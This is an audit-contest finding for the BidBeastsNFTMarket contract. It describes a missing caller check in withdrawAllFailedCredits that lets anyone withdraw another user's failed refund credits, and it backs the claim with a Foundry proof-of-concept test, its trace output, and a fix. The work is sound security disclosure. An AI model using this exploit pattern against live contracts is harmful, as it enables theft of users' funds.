Submission Details
Severity:
Malicious Actor can steal other users’ Failed Refunds through `BidBeastsNFTMarket::withdrawAllFailedCredits(address)` function
Malicious Actor can steal other users’ Failed Refunds through BidBeastsNFTMarket::withdrawAllFailedCredits(address) function
Description
BidBeastsNFTMarket::withdrawAllFailedCredits() Function does not verify that the caller is the same as the _receiver address. A malicious actor can steal the failed credits _receiver funds by simply entering the original _receiver address in the function parameter.
function withdrawAllFailedCredits(address _receiver) external {
@> // No checks, is msg.sender == _receiver ?
// e get failedTransferCredits receiver
uint256 amount = failedTransferCredits[_receiver];
require(amount > 0, "No credits to withdraw");
// e but, emptying failedTransferCredits sender
@> failedTransferCredits[msg.sender] = 0;
// e malicious actor steal failedTransferCredits receiver funds
(bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}
Risk
Likelihood:
Malicious actor can steal failed credits funds whenever if a failed credit transfer occurs.
Impact:
-
Amount refund of
_receiveraddress stolen -
Fake mapping amount, confusing the original
_receiverwho want withdraw their own money
Proof of Concept
Copy the PoC and paste in BidBeastsMarketPlaceTest.sol
function test_maliciousActorCanWitdrawFailedCredits() public {
_mintNFT();
_listNFT();
vm.deal(address(rejector), STARTING_BALANCE);
// address rejector become first bidder
vm.prank(address(rejector));
market.placeBid{value: MIN_PRICE + 1}(TOKEN_ID);
// BIDDER_2 become second bidder and refund rejector amount bid
// but refunding operation failed due to missing receive/fallback function in rejector contract
// and then the refund amount is transferred to the failedTransferCredits mapping.
vm.prank(BIDDER_2);
market.placeBid{value: 1155000000000000000}(TOKEN_ID);
// current highest bid is BIDDER_2
market.getHighestBid(TOKEN_ID);
uint256 failedCreditsBefore = address(market).balance;
console.log("failed credits of address rejector before: ", failedCreditsBefore);
uint256 maliciousActorBalanceBefore = address(maliciousActor).balance;
console.log("malicious actor balance before: ", maliciousActorBalanceBefore);
uint256 fakeMappingBefore = market.failedTransferCredits(address(rejector));
console.log("fake mapping before: ", fakeMappingBefore);
// malicious actor can steal funds of rejector failed credits due to arbitary address
vm.prank(maliciousActor);
market.withdrawAllFailedCredits(address(rejector));
uint256 failedCreditsAfter = address(market).balance;
console.log("failed credits of address rejector after: ", failedCreditsAfter);
uint256 maliciousActorBalanceAfter = address(maliciousActor).balance;
console.log("malicious actor balance after: ", maliciousActorBalanceAfter);
uint256 fakeMappingAfter = market.failedTransferCredits(address(rejector));
console.log("fake mapping after: ", fakeMappingAfter);
assertEq(fakeMappingAfter, fakeMappingBefore);
assertGt(maliciousActorBalanceAfter, maliciousActorBalanceBefore);
assertLt(failedCreditsAfter, failedCreditsBefore);
}
the log:
[431319] BidBeastsNFTMarketTest::test_maliciousActorCanWitdrawFailedCredits()
├─ [0] VM::startPrank(ECRecover: [0x0000000000000000000000000000000000000001])
│ └─ ← [Return]
├─ [74067] BidBeasts::mint(SHA-256: [0x0000000000000000000000000000000000000002])
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: SHA-256: [0x0000000000000000000000000000000000000002], tokenId: 0)
│ ├─ emit BidBeastsMinted(to: SHA-256: [0x0000000000000000000000000000000000000002], tokenId: 0)
│ └─ ← [Return] 0
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [0] VM::startPrank(SHA-256: [0x0000000000000000000000000000000000000002])
│ └─ ← [Return]
├─ [25508] BidBeasts::approve(BidBeastsNFTMarket: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], 0)
│ ├─ emit Approval(owner: SHA-256: [0x0000000000000000000000000000000000000002], approved: BidBeastsNFTMarket: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], tokenId: 0)
│ └─ ← [Stop]
├─ [128588] BidBeastsNFTMarket::listNFT(0, 1000000000000000000 [1e18], 5000000000000000000 [5e18])
│ ├─ [1094] BidBeasts::ownerOf(0) [staticcall]
│ │ └─ ← [Return] SHA-256: [0x0000000000000000000000000000000000000002]
│ ├─ [29510] BidBeasts::transferFrom(SHA-256: [0x0000000000000000000000000000000000000002], BidBeastsNFTMarket: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], 0)
│ │ ├─ emit Transfer(from: SHA-256: [0x0000000000000000000000000000000000000002], to: BidBeastsNFTMarket: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], tokenId: 0)
│ │ └─ ← [Stop]
│ ├─ emit NftListed(tokenId: 0, seller: SHA-256: [0x0000000000000000000000000000000000000002], minPrice: 1000000000000000000 [1e18], buyNowPrice: 5000000000000000000 [5e18])
│ └─ ← [Stop]
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [0] VM::deal(RejectEther: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], 100000000000000000000 [1e20])
│ └─ ← [Return]
├─ [0] VM::prank(RejectEther: [0x2e234DAe75C793f67A35089C9d99245E1C58470b])
│ └─ ← [Return]
├─ [72627] BidBeastsNFTMarket::placeBid{value: 1000000000000000001}(0)
│ ├─ emit AuctionSettled(tokenId: 0, winner: RejectEther: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], seller: SHA-256: [0x0000000000000000000000000000000000000002], price: 1000000000000000001 [1e18])
│ ├─ emit AuctionExtended(tokenId: 0, newDeadline: 901)
│ ├─ emit BidPlaced(tokenId: 0, bidder: RejectEther: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], amount: 1000000000000000001 [1e18])
│ └─ ← [Stop]
├─ [0] VM::prank(Identity: [0x0000000000000000000000000000000000000004])
│ └─ ← [Return]
├─ [37638] BidBeastsNFTMarket::placeBid{value: 1155000000000000000}(0)
│ ├─ emit AuctionSettled(tokenId: 0, winner: Identity: [0x0000000000000000000000000000000000000004], seller: SHA-256: [0x0000000000000000000000000000000000000002], price: 1155000000000000000 [1.155e18])
│ ├─ [23] RejectEther::fallback{value: 1000000000000000001}()
│ │ └─ ← [Revert] EvmError: Revert
│ ├─ emit BidPlaced(tokenId: 0, bidder: Identity: [0x0000000000000000000000000000000000000004], amount: 1155000000000000000 [1.155e18])
│ └─ ← [Stop]
├─ [1403] BidBeastsNFTMarket::getHighestBid(0) [staticcall]
│ └─ ← [Return] Bid({ bidder: 0x0000000000000000000000000000000000000004, amount: 1155000000000000000 [1.155e18] })
├─ [0] console::log("failed credits of address rejector before: ", 2155000000000000001 [2.155e18]) [staticcall]
│ └─ ← [Stop]
├─ [0] console::log("malicious actor balance before: ", 0) [staticcall]
│ └─ ← [Stop]
├─ [892] BidBeastsNFTMarket::failedTransferCredits(RejectEther: [0x2e234DAe75C793f67A35089C9d99245E1C58470b]) [staticcall]
│ └─ ← [Return] 1000000000000000001 [1e18]
├─ [0] console::log("fake mapping before: ", 1000000000000000001 [1e18]) [staticcall]
│ └─ ← [Stop]
├─ [0] VM::prank(maliciousActor: [0x195Ef46F233F37FF15b37c022c293753Dc04A8C3])
│ └─ ← [Return]
├─ [35118] BidBeastsNFTMarket::withdrawAllFailedCredits(RejectEther: [0x2e234DAe75C793f67A35089C9d99245E1C58470b])
│ ├─ [0] maliciousActor::fallback{value: 1000000000000000001}()
│ │ └─ ← [Stop]
│ └─ ← [Stop]
├─ [0] console::log("failed credits of address rejector after: ", 1155000000000000000 [1.155e18]) [staticcall]
│ └─ ← [Stop]
├─ [0] console::log("malicious actor balance after: ", 1000000000000000001 [1e18]) [staticcall]
│ └─ ← [Stop]
├─ [892] BidBeastsNFTMarket::failedTransferCredits(RejectEther: [0x2e234DAe75C793f67A35089C9d99245E1C58470b]) [staticcall]
│ └─ ← [Return] 1000000000000000001 [1e18]
├─ [0] console::log("fake mapping after: ", 1000000000000000001 [1e18]) [staticcall]
│ └─ ← [Stop]
└─ ← [Stop]
Recommended Mitigation
Check the msg.sender and fix inconsistencies
function withdrawAllFailedCredits(address _receiver) external {
+ require(msg.sender == _receiver, "not owner"); // check who's call
// e get failedTransferCredits receiver
uint256 amount = failedTransferCredits[_receiver];
require(amount > 0, "No credits to withdraw");
// e but, emptying failedTransferCredits sender
- failedTransferCredits[msg.sender] = 0;
+ failedTransferCredits[_receiver] = 0; // fix inconsistencies
// e attacker steal failedTransferCredits receiver funds
- (bool success, ) = payable(msg.sender).call{value: amount}("");
+ (bool success, ) = payable(_receiver).call{value: amount}(""); // fix inconsistencies
require(success, "Withdraw failed");
}
Updates
Lead Judging Commences
cryptoghost 2 months ago
Submission Judgement Published Assigned finding tags:
BidBeast Marketplace: Unrestricted FailedCredits Withdrawal
withdrawAllFailedCredits allows any user to withdraw another account’s failed transfer credits due to improper use of msg.sender instead of _receiver for balance reset and transfer.
Rewards breakdown
nSLOC
170This contest has a flat reward structure with the following payouts:
100 EXP
20 EXP
2 EXP
Live
The contest is live. Earn rewards by submitting a finding.
Appeals
This is your time to appeal against judgements on your submissions.
Appeals Review
Appeals are being carefully reviewed by our judges.